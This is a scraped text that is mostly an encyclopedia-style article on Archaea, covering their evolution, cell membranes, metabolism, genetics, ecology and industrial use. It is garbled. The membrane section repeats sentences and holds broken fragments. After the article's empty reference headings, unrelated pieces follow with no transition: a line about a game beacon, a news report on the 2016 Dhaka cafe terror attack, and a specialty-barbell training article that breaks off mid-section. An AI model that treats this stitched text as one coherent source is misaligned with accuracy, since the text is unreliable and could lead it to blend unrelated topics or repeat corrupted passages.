The age of the Earth is about 4.54 billion years.[36][37][38] Scientific evidence suggests that life began on Earth at least 3.5 billion years ago.[39][40] The earliest evidence for life on Earth is graphite found to be biogenic in 3.7 billion-year-old metasedimentary rocks discovered in Western Greenland[41] and microbial mat fossils found in 3.48 billion-year-old sandstone discovered in Western Australia.[42][43] In 2015, possible remains of biotic matter were found in 4.1 billion-year-old rocks in Western Australia.[44][45]
Although probable prokaryotic cell fossils date to almost 3.5 billion years ago, most prokaryotes do not have distinctive morphologies and fossil shapes cannot be used to identify them as archaea.[46] Instead, chemical fossils of unique lipids are more informative because such compounds do not occur in other organisms.[47] Some publications suggest that archaeal or eukaryotic lipid remains are present in shales dating from 2.7 billion years ago;[48] such data have since been questioned.[49] Such lipids have also been detected in even older rocks from west Greenland. The oldest such traces come from the Isua district, which includes Earth's oldest known sediments, formed 3.8 billion years ago.[50] The archaeal lineage may be the most ancient that exists on Earth.[51]
Woese argued that the Bacteria, Archaea, and Eukaryotes represent separate lines of descent that diverged early on from an ancestral colony of organisms.[52][53] One possibility[53][54] is that this occurred before the evolution of cells, when the lack of a typical cell membrane allowed unrestricted lateral gene transfer, and that the common ancestors of the three domains arose by fixation of specific subsets of genes.[53][54] It is possible that the last common ancestor of bacteria and archaea was a thermophile, which raises the possibility that lower temperatures are "extreme environments" for archaea, and organisms that live in cooler environments appeared only later.[55] Since archaea and bacteria are no more related to each other than they are to eukaryotes, the term prokaryote suggests a false similarity between them.[56]
Comparison to other domains [ edit ]
The following table compares some major characteristics of the three domains, to illustrate their similarities and differences.[57]
Archaea were split off as a third domain because of the large differences in their ribosomal RNA structure. The particular molecule 16S rRNA is key to the production of proteins in all organisms. Because this function is so central to life, organisms with mutations in their 16S rRNA are unlikely to survive, leading to great (but not absolute) stability in the structure of this nucleotide over generations. 16S rRNA is large enough to show organism-specific variations, but still small enough to be sequenced quickly. In 1977, Carl Woese, a microbiologist studying the genetic sequencing of organisms, developed a new sequencing method that involved splitting the RNA into fragments that could be sorted and compared to other fragments from other organisms.[11] The more similar the patterns between species, the more closely they are related.[60]
Woese used his new rRNA comparison method to categorize and contrast different organisms. He sequenced a variety of species and happened upon a group of methanogens with rRNA vastly different from any known prokaryotes or eukaryotes.[11] These methanogens were much more similar to each other than to other organisms sequenced, leading Woese to propose the new domain of Archaea.[11] His experiments showed that the archaea were genetically more similar to eukaryotes than prokaryotes, even though they were more similar to prokaryotes in structure.[61] This led to the conclusion that Archaea and Eukarya shared a more recent common ancestor than Eukarya and Bacteria.[61] The development of the nucleus occurred after the split between Bacteria and this common ancestor.[61][1]
One property unique to archaea is the abundant use of ether-linked lipids in their cell membranes. Ether linkages are more chemically stable than the ester linkages found in bacteria and eukarya, which may be a contributing factor to the ability of many archaea to survive in extreme environments that place heavy stress on cell membranes, such as extreme heat and salinity. Comparative analysis of archaeal genomes has also identified several molecular conserved signature indels and signature proteins uniquely present in either all archaea or different main groups within archaea.[62][63][64] Another unique feature of archaea, found in no other organisms, is methanogenesis (the metabolic production of methane). Methanogenic archaea play a pivotal role in ecosystems with organisms that derive energy from oxidation of methane, many of which are bacteria, as they are often a major source of methane in such environments and can play a role as primary producers. Methanogens also play a critical role in the carbon cycle, breaking down organic carbon into methane, which is also a major greenhouse gas.[65]
Relationship to bacteria [ edit ]
[66] Phylogenetic tree showing the relationship between the Archaea and other domains of life. Eukaryotes are colored red, archaea green and bacteria blue. Adapted from Ciccarelli et al. (2006)
The relationship between the three domains is of central importance for understanding the origin of life. Most of the metabolic pathways, which are the object of the majority of an organism's genes, are common between Archaea and Bacteria, while most genes involved in genome expression are common between Archaea and Eukarya.[67] Within prokaryotes, archaeal cell structure is most similar to that of gram-positive bacteria, largely because both have a single lipid bilayer[68] and usually contain a thick sacculus (exoskeleton) of varying chemical composition.[69] In some phylogenetic trees based upon different gene/protein sequences of prokaryotic homologs, the archaeal homologs are more closely related to those of gram-positive bacteria.[68] Archaea and gram-positive bacteria also share conserved indels in a number of important proteins, such as Hsp70 and glutamine synthetase I;,[68][70] but the phylogeny of these genes was interpreted to reveal interdomain gene transfer,[71][72] and might not reflect the organismal relationship(s).
It has been proposed that the archaea evolved from gram-positive bacteria in response to antibiotic selection pressure.[68][70][73] This is suggested by the observation that archaea are resistant to a wide variety of antibiotics that are primarily produced by gram-positive bacteria,[68][70] and that these antibiotics primarily act on the genes that distinguish archaea from bacteria. The proposal is that the selective pressure towards resistance generated by the gram-positive antibiotics was eventually sufficient to cause extensive changes in many of the antibiotics' target genes, and that these strains represented the common ancestors of present-day Archaea.[73] The evolution of Archaea in response to antibiotic selection, or any other competitive selective pressure, could also explain their adaptation to extreme environments (such as high temperature or acidity) as the result of a search for unoccupied niches to escape from antibiotic-producing organisms;[73][74] Cavalier-Smith has made a similar suggestion.[75] This proposal is also supported by other work investigating protein structural relationships[76] and studies that suggest that gram-positive bacteria may constitute the earliest branching lineages within the prokaryotes.[77]
Relation to eukaryotes [ edit ]
The evolutionary relationship between archaea and eukaryotes remains unclear. Aside from the similarities in cell structure and function that are discussed below, many genetic trees group the two.
Complicating factors include claims that the relationship between eukaryotes and the archaeal phylum Crenarchaeota is closer than the relationship between the Euryarchaeota and the phylum Crenarchaeota[78] and the presence of archaea-like genes in certain bacteria, such as Thermotoga maritima, from horizontal gene transfer.[79] The standard hypothesis states that the ancestor of the eukaryotes diverged early from the Archaea,[80][81] and that eukaryotes arose through fusion of an archaean and eubacterium, which became the nucleus and cytoplasm; this explains various genetic similarities but runs into difficulties explaining cell structure.[78] An alternative hypothesis, the eocyte hypothesis, posits that Eukaryota emerged relatively late from the Archaea.[82]
A lineage of archaea discovered in 2015, Lokiarchaeum (of proposed new Phylum "Lokiarchaeota"), named for a hydrothermal vent called Loki's Castle in the Arctic Ocean, was found to be the most closely related to eukaryotes known at that time. It has been called a transitional organism between prokaryotes and eukaryotes.[83][84]
Several sister phyla of "Lokiarchaeota" have since been found ("Thorarchaeota", "Odinarchaeota", "Heimdallarchaeota"), all together comprising a newly proposed supergroup Asgard, which may appear as a sister taxon to TACK.[28][5][85] Details of the relation of Asgard members and eukaryotes are still under consideration.
Morphology [ edit ]
Individual archaea range from 0.1 micrometers (μm) to over 15 μm in diameter, and occur in various shapes, commonly as spheres, rods, spirals or plates.[86] Other morphologies in the Crenarchaeota include irregularly shaped lobed cells in Sulfolobus, needle-like filaments that are less than half a micrometer in diameter in Thermofilum, and almost perfectly rectangular rods in Thermoproteus and Pyrobaculum.[87] Archaea in the genus Haloquadratum such as Haloquadratum walsbyi are flat, square archaea that live in hypersaline pools.[88] These unusual shapes are probably maintained both by their cell walls and a prokaryotic cytoskeleton. Proteins related to the cytoskeleton components of other organisms exist in archaea,[89] and filaments form within their cells,[90] but in contrast to other organisms, these cellular structures are poorly understood.[91] In Thermoplasma and Ferroplasma the lack of a cell wall means that the cells have irregular shapes, and can resemble amoebae.[92]
Some species form aggregates or filaments of cells up to 200 μm long.[86] These organisms can be prominent in biofilms.[93] Notably, aggregates of Thermococcus coalescens cells fuse together in culture, forming single giant cells.[94] Archaea in the genus Pyrodictium produce an elaborate multicell colony involving arrays of long, thin hollow tubes called cannulae that stick out from the cells' surfaces and connect them into a dense bush-like agglomeration.[95] The function of these cannulae is not settled, but they may allow communication or nutrient exchange with neighbors.[96] Multi-species colonies exist, such as the "string-of-pearls" community that was discovered in 2001 in a German swamp. Round whitish colonies of a novel Euryarchaeota species are spaced along thin filaments that can range up to 15 centimetres (5.9 in) long; these filaments are made of a particular bacteria species.[97]
Structure, composition development, and operation [ edit ]
Archaea and bacteria have generally similar cell structure, but cell composition and organization set the archaea apart. Like bacteria, archaea lack interior membranes and organelles.[56] Like bacteria, the cell membranes of archaea are usually bounded by a cell wall and they swim using one or more flagella.[98] Structurally, archaea are most similar to gram-positive bacteria. Most have a single plasma membrane and cell wall, and lack a periplasmic space; the exception to this general rule is Ignicoccus, which possess a particularly large periplasm that contains membrane-bound vesicles and is enclosed by an outer membrane.[99]
Cell wall and flagella [ edit ]
Most archaea (but not Thermoplasma and Ferroplasma) possess a cell wall.[92] In most archaea the wall is assembled from surface-layer proteins, which form an S-layer.[100] An S-layer is a rigid array of protein molecules that cover the outside of the cell (like chain mail).[101] This layer provides both chemical and physical protection, and can prevent macromolecules from contacting the cell membrane.[102] Unlike bacteria, archaea lack peptidoglycan in their cell walls.[103] Methanobacteriales do have cell walls containing pseudopeptidoglycan, which resembles eubacterial peptidoglycan in morphology, function, and physical structure, but pseudopeptidoglycan is distinct in chemical structure; it lacks D-amino acids and N-acetylmuramic acid.[102]
Archaea flagella operate like bacterial flagella – their long stalks are driven by rotatory motors at the base. These motors are powered by the proton gradient across the membrane, but archaeal flagella are notably different in composition and development.[98] The two types of flagella evolved from different ancestors. The bacterial flagellum shares a common ancestor with the type III secretion system,[104][105] while archaeal flagella appear to have evolved from bacterial type IV pili.[106] In contrast to the bacterial flagellum, which is hollow and is assembled by subunits moving up the central pore to the tip of the flagella, archaeal flagella are synthesized by adding subunits at the base.[107]
Membranes [ edit ]
Top, an archaeal phospholipid: 1, isoprene chains; 2, ether linkages; 3, 4, phosphate group. Middle, a bacterial or eukaryotic phospholipid: 5, fatty acid chains; 6, ester linkages; 7, 8, phosphate group. Bottom: 9, lipid bilayer of bacteria and eukaryotes; 10, lipid monolayer of some archaea. Membrane structures., an archaeal phospholipid:, isoprene chains;, ether linkages; L-glycerol moiety;, phosphate group., a bacterial or eukaryotic phospholipid:, fatty acid chains;, ester linkages; D-glycerol moiety;, phosphate group., lipid bilayer of bacteria and eukaryotes;, lipid monolayer of some archaea.
Archaeal membranes are made of molecules that are distinctly different from those in all other life forms, showing that archaea are related only distantly to bacteria and eukaryotes.[108] In all organisms, cell membranes are made of molecules known as phospholipids. These molecules possess both a polar part that dissolves in water (the phosphate "head"), and a "greasy" non-polar part that does not (the lipid tail). These dissimilar parts are connected by a glycerol moiety. In water, phospholipids cluster, with the heads facing the water and the tails facing away from it. The major structure in cell membranes is a double layer of these phospholipids, which is called a lipid bilayer.
The phospholipids of archaea are unusual in four ways:
They have membranes composed of glycerol-ether lipids, whereas bacteria and eukaryotes have membranes composed mainly of glycerol-ester lipids. [109] The difference is the type of bond that joins the lipids to the glycerol moiety; the two types are shown in yellow in the figure at the right. In ester lipids this is an ester bond, whereas in ether lipids this is an ether bond. Ether bonds are chemically more resistant than ester bonds.
The difference is the type of bond that joins the lipids to the glycerol moiety; the two types are shown in yellow in the figure at the right. In ester lipids this is an ester bond, whereas in ether lipids this is an ether bond. Ether bonds are chemically more resistant than ester bonds. The stereochemistry of the archaeal glycerol moiety is the mirror image of that found in other organisms. The glycerol moiety can occur in two forms that are mirror images of one another, called enantiomers . Just as a right hand does not fit easily into a left-handed glove, enantiomers of one type generally cannot be used or made by enzymes adapted for the other. The archaeal phospholipids are built on a backbone of sn -glycerol-1-phosphate, which is an enantiomer of sn -glycerol-3-phosphate, the phospholipid backbone found in bacteria and eucaryotes. This suggests that archaea use entirely different enzymes for synthesizing phospholipids than do bacteria and eukaryotes. Such enzymes developed very early in life's history, indicating an early split from the other two domains. [108]
. Just as a right hand does not fit easily into a left-handed glove, enantiomers of one type generally cannot be used or made by enzymes adapted for the other. The archaeal phospholipids are built on a backbone of -glycerol-1-phosphate, which is an enantiomer of -glycerol-3-phosphate, the phospholipid backbone found in bacteria and eucaryotes. This suggests that archaea use entirely different enzymes for synthesizing phospholipids than do bacteria and eukaryotes. Such enzymes developed very early in life's history, indicating an early split from the other two domains. Archaeal lipid tails differ from those of other organisms in that they are based upon long isoprenoid chains with multiple side-branches, sometimes with cyclopropane or cyclohexane rings. [110] By contrast, the fatty acids in the membranes of other organisms have straight chains without side branches or rings. Although isoprenoids play an important role in the biochemistry of many organisms, only the archaea use them to make phospholipids. These branched chains may help prevent archaeal membranes from leaking at high temperatures. [111]
By contrast, the fatty acids in the membranes of other organisms have straight chains without side branches or rings. Although isoprenoids play an important role in the biochemistry of many organisms, only the archaea use them to make phospholipids. These branched chains may help prevent archaeal membranes from leaking at high temperatures. In some archaea, the lipid bilayer is replaced by a monolayer. In effect, the archaea fuse the tails of two phospholipid molecules into a single molecule with two polar heads (a bolaamphiphile); this fusion may make their membranes more rigid and better able to resist harsh environments.[112] For example, the lipids in Ferroplasma are of this type, which is thought to aid this organism's survival in its highly acidic habitat.[113]
Metabolism [ edit ]
Archaea exhibit a great variety of chemical reactions in their metabolism and use many sources of energy. These reactions are classified into nutritional groups, depending on energy and carbon sources. Some archaea obtain energy from inorganic compounds such as sulfur or ammonia (they are chemotrophs). These include nitrifiers, methanogens and anaerobic methane oxidisers.[114] In these reactions one compound passes electrons to another (in a redox reaction), releasing energy to fuel the cell's activities. One compound acts as an electron donor and one as an electron acceptor. The energy released is used to generate adenosine triphosphate (ATP) through chemiosmosis, the same basic process that happens in the mitochondrion of eukaryotic cells.[115]
Other groups of archaea use sunlight as a source of energy (they are phototrophs), but oxygen–generating photosynthesis does not occur in any of these organisms.[115] Many basic metabolic pathways are shared between all forms of life; for example, archaea use a modified form of glycolysis (the Entner–Doudoroff pathway) and either a complete or partial citric acid cycle.[116] These similarities to other organisms probably reflect both early origins in the history of life and their high level of efficiency.[117]
Nutritional types in archaeal metabolism Nutritional type Source of energy Source of carbon Examples Phototrophs Sunlight Organic compounds Halobacterium Lithotrophs Inorganic compounds Organic compounds or carbon fixation Ferroglobus, Methanobacteria or Pyrolobus Organotrophs Organic compounds Organic compounds or carbon fixation Pyrococcus, Sulfolobus or Methanosarcinales
Some Euryarchaeota are methanogens (archaea that produce methane as a result of metabolism) living in anaerobic environments, such as swamps. This form of metabolism evolved early, and it is even possible that the first free-living organism was a methanogen.[118] A common reaction involves the use of carbon dioxide as an electron acceptor to oxidize hydrogen. Methanogenesis involves a range of coenzymes that are unique to these archaea, such as coenzyme M and methanofuran.[119] Other organic compounds such as alcohols, acetic acid or formic acid are used as alternative electron acceptors by methanogens. These reactions are common in gut-dwelling archaea. Acetic acid is also broken down into methane and carbon dioxide directly, by acetotrophic archaea. These acetotrophs are archaea in the order Methanosarcinales, and are a major part of the communities of microorganisms that produce biogas.[120]
Other archaea use CO
2 in the atmosphere as a source of carbon, in a process called carbon fixation (they are autotrophs). This process involves either a highly modified form of the Calvin cycle[122] or another metabolic pathway called the 3-hydroxypropionate/4-hydroxybutyrate cycle.[123] The Crenarchaeota also use the reverse Krebs cycle while the Euryarchaeota also use the reductive acetyl-CoA pathway.[124] Carbon–fixation is powered by inorganic energy sources. No known archaea carry out photosynthesis.[125] Archaeal energy sources are extremely diverse, and range from the oxidation of ammonia by the Nitrosopumilales[126][127] to the oxidation of hydrogen sulfide or elemental sulfur by species of Sulfolobus, using either oxygen or metal ions as electron acceptors.[115]
Phototrophic archaea use light to produce chemical energy in the form of ATP. In the Halobacteria, light-activated ion pumps like bacteriorhodopsin and halorhodopsin generate ion gradients by pumping ions out of and into the cell across the plasma membrane. The energy stored in these electrochemical gradients is then converted into ATP by ATP synthase.[86] This process is a form of photophosphorylation. The ability of these light-driven pumps to move ions across membranes depends on light-driven changes in the structure of a retinol cofactor buried in the center of the protein.[128]
Genetics [ edit ]
Archaea usually have a single circular chromosome,[129] with as many as 5,751,492 base pairs in Methanosarcina acetivorans,[130] the largest known archaeal genome. The tiny 490,885 base-pair genome of Nanoarchaeum equitans is one-tenth of this size and the smallest archaeal genome known; it is estimated to contain only 537 protein-encoding genes.[131] Smaller independent pieces of DNA, called plasmids, are also found in archaea. Plasmids may be transferred between cells by physical contact, in a process that may be similar to bacterial conjugation.[132][133]
Sulfolobus infected with the DNA virus [134] Bar is 1 infected with the DNA virus STSV1 Bar is 1 micrometer
Archaea can be infected by double-stranded DNA viruses that are unrelated to any other form of virus and have a variety of unusual shapes, including bottles, hooked rods, or teardrops.[135] These viruses have been studied in most detail in thermophilics, particularly the orders Sulfolobales and Thermoproteales.[136] Two groups of single-stranded DNA viruses that infect archaea have been recently isolated. One group is exemplified by the Halorubrum pleomorphic virus 1 ("Pleolipoviridae") infecting halophilic archaea[137] and the other one by the Aeropyrum coil-shaped virus ("Spiraviridae") infecting a hyperthermophilic (optimal growth at 90–95 °C) host.[138] Notably, the latter virus has the largest currently reported ssDNA genome. Defenses against these viruses may involve RNA interference from repetitive DNA sequences that are related to the genes of the viruses.[139][140]
Archaea are genetically distinct from bacteria and eukaryotes, with up to 15% of the proteins encoded by any one archaeal genome being unique to the domain, although most of these unique genes have no known function.[141] Of the remainder of the unique proteins that have an identified function, most belong to the Euryarchaea and are involved in methanogenesis. The proteins that archaea, bacteria and eukaryotes share form a common core of cell function, relating mostly to transcription, translation, and nucleotide metabolism.[142] Other characteristic archaeal features are the organization of genes of related function – such as enzymes that catalyze steps in the same metabolic pathway into novel operons, and large differences in tRNA genes and their aminoacyl tRNA synthetases.[142]
Transcription in archaea more closely resembles eukaryotic than bacterial transcription, with the archaeal RNA polymerase being very close to its equivalent in eukaryotes;[129] while archaeal translation shows signs of both bacterial and eukaryal equivalents.[143] Although archaea only have one type of RNA polymerase, its structure and function in transcription seems to be close to that of the eukaryotic RNA polymerase II, with similar protein assemblies (the general transcription factors) directing the binding of the RNA polymerase to a gene's promoter,[144] but other archaeal transcription factors are closer to those found in bacteria.[145] Post-transcriptional modification is simpler than in eukaryotes, since most archaeal genes lack introns, although there are many introns in their transfer RNA and ribosomal RNA genes,[146] and introns may occur in a few protein-encoding genes.[147][148]
Gene transfer and genetic exchange [ edit ]
Halobacterium volcanii, an extreme halophilic archaeon, forms cytoplasmic bridges between cells that appear to be used for transfer of DNA from one cell to another in either direction.[149]
When the hyperthermophilic archaea Sulfolobus solfataricus[150] and Sulfolobus acidocaldarius[151] are exposed to DNA-damaging UV irradiation or to the agents bleomycin or mitomycin C, species-specific cellular aggregation is induced. Aggregation in S. solfataricus could not be induced by other physical stressors, such as pH or temperature shift,[150] suggesting that aggregation is induced specifically by DNA damage. Ajon et al.[151] showed that UV-induced cellular aggregation mediates chromosomal marker exchange with high frequency in S. acidocaldarius. Recombination rates exceeded those of uninduced cultures by up to three orders of magnitude. Frols et al.[150][152] and Ajon et al.[151] hypothesized that cellular aggregation enhances species-specific DNA transfer between Sulfolobus cells in order to provide increased repair of damaged DNA by means of homologous recombination. This response may be a primitive form of sexual interaction similar to the more well-studied bacterial transformation systems that are also associated with species-specific DNA transfer between cells leading to homologous recombinational repair of DNA damage.[153]
Reproduction [ edit ]
Archaea reproduce asexually by binary or multiple fission, fragmentation, or budding; mitosis and meiosis do not occur, so if a species of archaea exists in more than one form, all have the same genetic material.[86] Cell division is controlled in a cell cycle; after the cell's chromosome is replicated and the two daughter chromosomes separate, the cell divides.[154] In the genus Sulfolobus, the cycle has characteristics that are similar to both bacterial and eukaryotic systems. The chromosomes replicate from multiple starting-points (origins of replication) using DNA polymerases that resemble the equivalent eukaryotic enzymes.[155]
In euryarchaea the cell division protein FtsZ, which forms a contracting ring around the cell, and the components of the septum that is constructed across the center of the cell, are similar to their bacterial equivalents.[154] In cren-[156][157] and thaumarchaea,[158] but the cell division machinery Cdv fulfills a similar role. This machinery is related to the eukaryotic ESCRT-III machinery which, while best known for its role in cell sorting, also has been seen to fulfill a role in separation between divided cell, suggesting an ancestral role in cell division.
Both bacteria and eukaryotes, but not archaea, make spores.[159] Some species of Haloarchaea undergo phenotypic switching and grow as several different cell types, including thick-walled structures that are resistant to osmotic shock and allow the archaea to survive in water at low salt concentrations, but these are not reproductive structures and may instead help them reach new habitats.[160]
Ecology [ edit ]
Habitats [ edit ]
Archaea exist in a broad range of habitats, and as a major part of global ecosystems,[16] may represent about 20% of microbial cells in the oceans.[161] The first-discovered archaeans were extremophiles.[114] Indeed, some archaea survive high temperatures, often above 100 °C (212 °F), as found in geysers, black smokers, and oil wells. Other common habitats include very cold habitats and highly saline, acidic, or alkaline water, but archaea include mesophiles that grow in mild conditions, in swamps and marshland, sewage, the oceans, the intestinal tract of animals, and soils.[16]
Extremophile archaea are members of four main physiological groups. These are the halophiles, thermophiles, alkaliphiles, and acidophiles.[162] These groups are not comprehensive or phylum-specific, nor are they mutually exclusive, since some archaea belong to several groups. Nonetheless, they are a useful starting point for classification.
Halophiles, including the genus Halobacterium, live in extremely saline environments such as salt lakes and outnumber their bacterial counterparts at salinities greater than 20–25%.[114] Thermophiles grow best at temperatures above 45 °C (113 °F), in places such as hot springs; hyperthermophilic archaea grow optimally at temperatures greater than 80 °C (176 °F).[163] The archaeal Methanopyrus kandleri Strain 116 can even reproduce at 122 °C (252 °F), the highest recorded temperature of any organism.[164]
Other archaea exist in very acidic or alkaline conditions.[162] For example, one of the most extreme archaean acidophiles is Picrophilus torridus, which grows at pH 0, which is equivalent to thriving in 1.2 molar sulfuric acid.[165]
This resistance to extreme environments has made archaea the focus of speculation about the possible properties of extraterrestrial life.[166] Some extremophile habitats are not dissimilar to those on Mars,[167] leading to the suggestion that viable microbes could be transferred between planets in meteorites.[168]
Recently, several studies have shown that archaea exist not only in mesophilic and thermophilic environments but are also present, sometimes in high numbers, at low temperatures as well. For example, archaea are common in cold oceanic environments such as polar seas.[169] Even more significant are the large numbers of archaea found throughout the world's oceans in non-extreme habitats among the plankton community (as part of the picoplankton).[170] Although these archaea can be present in extremely high numbers (up to 40% of the microbial biomass), almost none of these species have been isolated and studied in pure culture.[171] Consequently, our understanding of the role of archaea in ocean ecology is rudimentary, so their full influence on global biogeochemical cycles remains largely unexplored.[172] Some marine Crenarchaeota are capable of nitrification, suggesting these organisms may affect the oceanic nitrogen cycle,[126] although these oceanic Crenarchaeota may also use other sources of energy.[173] Vast numbers of archaea are also found in the sediments that cover the sea floor, with these organisms making up the majority of living cells at depths over 1 meter below the ocean bottom.[174][175] It has been demonstrated that in all oceanic surface sediments (from 1000- to 10,000-m water depth), the impact of viral infection is higher on archaea than on bacteria and virus-induced lysis of archaea accounts for up to one-third of the total microbial biomass killed, resulting in the release of ~0.3 to 0.5 gigatons of carbon per year globally.[176]
Role in chemical cycling [ edit ]
Archaea recycle elements such as carbon, nitrogen and sulfur through their various habitats. Although these activities are vital for normal ecosystem function, archaea can also contribute to human-made changes, and even cause pollution.
Archaea carry out many steps in the nitrogen cycle. This includes both reactions that remove nitrogen from ecosystems (such as nitrate-based respiration and denitrification) as well as processes that introduce nitrogen (such as nitrate assimilation and nitrogen fixation).[177][178] Researchers recently discovered archaeal involvement in ammonia oxidation reactions. These reactions are particularly important in the oceans.[127][179] The archaea also appear crucial for ammonia oxidation in soils. They produce nitrite, which other microbes then oxidize to nitrate. Plants and other organisms consume the latter.[180]
In the sulfur cycle, archaea that grow by oxidizing sulfur compounds release this element from rocks, making it available to other organisms, but the archaea that do this, such as Sulfolobus, produce sulfuric acid as a waste product, and the growth of these organisms in abandoned mines can contribute to acid mine drainage and other environmental damage.[181]
In the carbon cycle, methanogen archaea remove hydrogen and play an important role in the decay of organic matter by the populations of microorganisms that act as decomposers in anaerobic ecosystems, such as sediments, marshes and sewage-treatment works.[182]
Interactions with other organisms [ edit ]
Methanogenic archaea form a symbiosis with termites
The well-characterized interactions between archaea and other organisms are either mutual or commensal. There are no clear examples of known archaeal pathogens or parasites,[183][184] but some species of methanogens have been suggested to be involved in infections in the mouth,[185][186] and Nanoarchaeum equitans may be a parasite of another species of archaea, since it only survives and reproduces within the cells of the Crenarchaeon Ignicoccus hospitalis,[131] and appears to offer no benefit to its host.[187] Connections between archaeal cells can also be found between the Archaeal Richmond Mine Acidophilic Nanoorganisms (ARMAN) and another species of archaea called Thermoplasmatales, within acid mine drainage biofilms.[188] Although the nature of this relationship is unknown, it is distinct from that of Nanarchaeaum–Ignicoccus in that the ultrasmall ARMAN cells are usually independent of the Thermoplasmatales cells.
Mutualism [ edit ]
One well-understood example of mutualism is the interaction between protozoa and methanogenic archaea in the digestive tracts of animals that digest cellulose, such as ruminants and termites.[189] In these anaerobic environments, protozoa break down plant cellulose to obtain energy. This process releases hydrogen as a waste product, but high levels of hydrogen reduce energy production. When methanogens convert hydrogen to methane, protozoa benefit from more energy.[190]
In anaerobic protozoa, such as Plagiopyla frontata, archaea reside inside the protozoa and consume hydrogen produced in their hydrogenosomes.[191][192] Archaea also associate with larger organisms. For example, the marine archaean Cenarchaeum symbiosum lives within (is an endosymbiont of) the sponge Axinella mexicana.[193]
Commensalism [ edit ]
Archaea can also be commensals, benefiting from an association without helping or harming the other organism. For example, the methanogen Methanobrevibacter smithii is by far the most common archaean in the human flora, making up about one in ten of all the prokaryotes in the human gut.[194] In termites and in humans, these methanogens may in fact be mutualists, interacting with other microbes in the gut to aid digestion.[195] Archaean communities also associate with a range of other organisms, such as on the surface of corals,[196] and in the region of soil that surrounds plant roots (the rhizosphere).[197][198]
Significance in technology and industry [ edit ]
Extremophile archaea, particularly those resistant either to heat or to extremes of acidity and alkalinity, are a source of enzymes that function under these harsh conditions.[199][200] These enzymes have found many uses. For example, thermostable DNA polymerases, such as the Pfu DNA polymerase from Pyrococcus furiosus, revolutionized molecular biology by allowing the polymerase chain reaction to be used in research as a simple and rapid technique for cloning DNA. In industry, amylases, galactosidases and pullulanases in other species of Pyrococcus that function at over 100 °C (212 °F) allow food processing at high temperatures, such as the production of low lactose milk and whey.[201] Enzymes from these thermophilic archaea also tend to be very stable in organic solvents, allowing their use in environmentally friendly processes in green chemistry that synthesize organic compounds.[200] This stability makes them easier to use in structural biology. Consequently, the counterparts of bacterial or eukaryotic enzymes from extremophile archaea are often used in structural studies.[202]
In contrast to the range of applications of archaean enzymes, the use of the organisms themselves in biotechnology is less developed. Methanogenic archaea are a vital part of sewage treatment, since they are part of the community of microorganisms that carry out anaerobic digestion and produce biogas.[203] In mineral processing, acidophilic archaea display promise for the extraction of metals from ores, including gold, cobalt and copper.[204]
Archaea host a new class of potentially useful antibiotics. A few of these archaeocins have been characterized, but hundreds more are believed to exist, especially within Haloarchaea and Sulfolobus. These compounds differ in structure from bacterial antibiotics, so they may have novel modes of action. In addition, they may allow the creation of new selectable markers for use in archaeal molecular biology.[205]
See also [ edit ]
References [ edit ]
Further reading [ edit ]
General
Classification
Lawson Station
As you can see, beacon 11 has joined us. The true title and description have been server side for awhile now, so the real name of this beacon won’t be known until it shows up on the Store tab.
Conclusion
Updated
Bangladesh authorities investigating this month's deadly terror attack at a Dhaka cafe are now exploring potential foreign links, including one man who had been living in Australia.
Key points: Islamic State claim responsibility for cafe attack
Authorities examining list of potential militants including suspected IS recruiters
Attackers identified as sons of well-to-do families
The whereabouts of the man, named as Abu Terek Mohammad Tajuddin Kausar, are now unknown, but the acknowledgement of possible foreign involvement marks a major development in Bangladesh, which had consistently rejected Islamic State's claim of responsibility.
Bangladesh authorities said they were tracking Mr Tajuddin, who is originally from Lakshmipur, south of Dhaka, and has spent time living in Australia, but said they were currently unsure of his whereabouts.
The Australian Federal Police were contacted regarding Mr Tajuddin but a spokesperson said the AFP would not comment on intelligence matters.
Bangladesh authorities are examining a list of potential militants which also includes suspected IS recruiters.
Twenty-two people, 18 of them foreign nationals, were killed by five machete-wielding attackers at the Holey Artisan Bakery in Dhaka's upmarket Gulshan district on July 1 — a major escalation in Bangladesh's Islamist violence.
Until recent days Bangladeshi authorities had blamed homegrown groups for the attack.
However, after the attackers were identified as the sons of well-to-do families, more parents whose children were missing, presumed radicalised, began to come forward.
"It was shocking, we never expected it to be like that," former military chief, retired air commodore Ishfaq Ilahi said.
"There is a new realisation, that we can't just hide this under the carpet."
'Credible evidence' of links to Islamic State
Among those identified as "missing" are one naval officer who told his parents via Facebook he had gone to Iraq to wage jihad.
Five members of another family are known to have travelled to Syria which has led to an acknowledgement from police that IS may be involved.
"Those who carried out the Gulshan attack were all Bangladeshis, but I don't rule out their possible foreign links," Dhaka police commissioner Asaduzzaman Mia was quoted as telling reporters several days ago.
Bangladeshi security consultant Shahab Enam Khan said there was now little doubt that means IS was involved.
"We are now discovering, and there is now credible evidence that people from here had linkages with ISIS," he said.
"This is significant for sure, because the government actually ruled out the possibility of ISIS for some time. But now that there is new evidence … these particular linkages between the missing boys and the connection with Syria, well there is a possibility of some sort of linkages between the homegrown terrorists as well as with ISIS."
Mr Khan said alongside Mr Tajuddin, Bangladesh was also searching for two others who had spent time in Western countries.
"One from Canada, and the other one studied in Japan, so you now can see that there is a growing trend and a credible trend that is coming up — that we have a strong transnational linkage," he said.
Topics: terrorism, unrest-conflict-and-war, bangladesh, asia, australia
Before I review the specifics of each bar, let’s talk about why you would use a specialty bar. I see a few reasons to use them. In no specific order, here they are:
To work around injury
To add variety
To build specific areas from weak to strong(er)
To improve positions in specific lifts
Let’s address these one at a time.
Work Around Injury
You want to train but sometimes you are banged up, right? Specialty bars can be just the ticket if you have an injury or a beat-up area. These bars are usually best for shoulder injuries, as they allow you to take the pressure off the shoulder girdle through different positions of the bar or by not using the shoulder at all. Lower body injuries can be trained around sometimes too.
RELATED: Three Phases of Purchasing Gym Equipment for New Gym Owners
The SS Yoke Bar is good for knee rehab and sometimes hip problems. Using the handles if you have them or holding a rack and doing Hatfield squats with the SS Yoke Bar takes most of the shear force off the knee and allows many to squat pain-free. Hatfield squats also take a lot of stress off the hip flexors and are a good choice if yours are in rough shape.
Variety
Variety is good. It prevents boredom — although I’ve never understood how someone could get bored with the basic lifts. They are technically demanding and each session should force you to focus and try to improve. That keeps me from getting bored.
Anyway, variety is also good for challenging your body. Many times the slightest variation on an exercise provides a new stimulus and therefore a new chance to adapt to it by getting stronger. This could be as small as changing your stance on the squat by an inch or two or bringing the bar up higher on your back. The new position requires your nervous system and muscles to adapt in a small way.
Adding a specialty bar increases this factor enormously. Therefore, in theory, it helps makes you stronger at the basic lift when you go back to it, due to the new movement pattern.
Build Specific Areas from Weak to Strong(er)
